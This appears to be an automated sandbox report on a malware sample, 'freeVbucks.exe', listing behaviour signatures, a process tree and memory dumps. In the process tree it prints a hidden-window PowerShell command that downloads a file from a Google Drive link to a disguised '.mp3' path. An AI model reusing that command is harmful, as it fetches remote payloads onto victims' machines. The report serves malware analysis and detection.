Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 15:22

General

  • Target
    freeVbucks.exe
  • Size 706KB
  • Sample260623-sr53dsdz6s
  • SHA256 ec8d1bca14f2e725ae993cca2456b21bdafa6ca82a7edee2dffe1fe4590cea21
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • System Location Discovery: System Language Discovery 1 TTPs 55 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\freeVbucks.exe
    "C:\Users\Admin\AppData\Local\Temp\freeVbucks.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5620
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://drive.google.com/uc?export=download&id=1hJUbrNjnnBcDieo3t5acZFI8f-yCi7q_' -OutFile 'C:\Users\Admin\AppData\Local\Temp\kingvon.mp3' -Headers @{ 'User-Agent' = 'Mozilla/5.0' }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5976
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4460
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3464
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2672
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5912
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1092
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1672
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5228
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4252
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2528
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2052
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3780
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5968
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3172
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5036
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3960
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3908
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1292
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6036
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3444
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5096
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3404
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5208
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4340
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5684
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2792
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4228
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4076
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2248
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1364
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1504
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:844
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2604
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:476
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4152
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3276
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2504
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5640
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6128
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3044
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1800
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3048
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6096
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2708
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5672
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1816
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2508
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2692
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3948
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6156
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6216
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6276
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6336
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6396

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        memory/5976-2-0x0000000073462000-0x0000000073463000-memory.dmp

        memory/5976-3-0x0000000005130000-0x0000000005166000-memory.dmp

        memory/5976-4-0x0000000073450000-0x0000000073C0C000-memory.dmp

        memory/5976-5-0x00000000058A0000-0x0000000005EEA000-memory.dmp

        memory/5976-6-0x0000000073450000-0x0000000073C0C000-memory.dmp

        memory/5976-7-0x0000000005610000-0x0000000005632000-memory.dmp

        memory/5976-8-0x0000000005F60000-0x0000000005FC6000-memory.dmp

        memory/5976-9-0x0000000005FD0000-0x0000000006036000-memory.dmp

        memory/5976-12-0x0000000006040000-0x000000000639B000-memory.dmp

        memory/5976-13-0x00000000064E0000-0x00000000064FE000-memory.dmp

        memory/5976-14-0x0000000006530000-0x000000000657C000-memory.dmp

        memory/5976-15-0x0000000007D30000-0x00000000083AC000-memory.dmp

        memory/5976-16-0x0000000006A30000-0x0000000006A4A000-memory.dmp

        memory/5976-17-0x0000000073462000-0x0000000073463000-memory.dmp

        memory/5976-18-0x0000000073450000-0x0000000073C0C000-memory.dmp

        memory/5976-22-0x0000000073450000-0x0000000073C0C000-memory.dmp